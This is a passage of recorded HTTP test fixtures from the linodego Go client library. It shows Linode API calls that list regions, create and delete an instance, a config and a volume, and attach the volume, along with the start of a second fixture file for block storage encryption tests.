Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:14:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-e2c17i88l1ms","firewall_id":620815,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60893544, "label": "go-test-ins-wo-disk-e2c17i88l1ms", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.214.186"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "96c6bc3f2814fb4e6b5a04de497463f5b46d5188", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "786" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-jfj281g0gb45","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60893544/configs method: POST response: body: '{"id": 64103914, "label": "go-test-conf-jfj281g0gb45", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test8zk854m8gs3v","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4812978, "status": "creating", "label": "go-vol-test8zk854m8gs3v", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test8zk854m8gs3v", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4812978 method: GET response: body: '{"id": 4812978, "status": "active", "label": "go-vol-test8zk854m8gs3v", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test8zk854m8gs3v", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "332" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test1719850515918472000","comments":"","devices":{"sda":{"volume_id":4812978}},"interfaces":null,"memory_limit":0,"init_rd":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60893544/configs/64103914 method: PUT response: body: '{"id": 64103914, "label": "go-vol-test1719850515918472000", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": null, "volume_id": 4812978}, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "579" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60893544/volumes?page=1 method: GET response: body: '{"data": [{"id": 4812978, "status": "active", "label": "go-vol-test8zk854m8gs3v", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test8zk854m8gs3v", "size": 20, "linode_id": 60893544, "linode_label": "go-test-ins-wo-disk-e2c17i88l1ms", "region": "ap-west", "tags": [], "hardware_type": "nvme"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "415" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4812978 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60893544 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 16:15:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_withBlockStorageEncryption.yaml000066400000000000000000000672451474652371000354210ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": 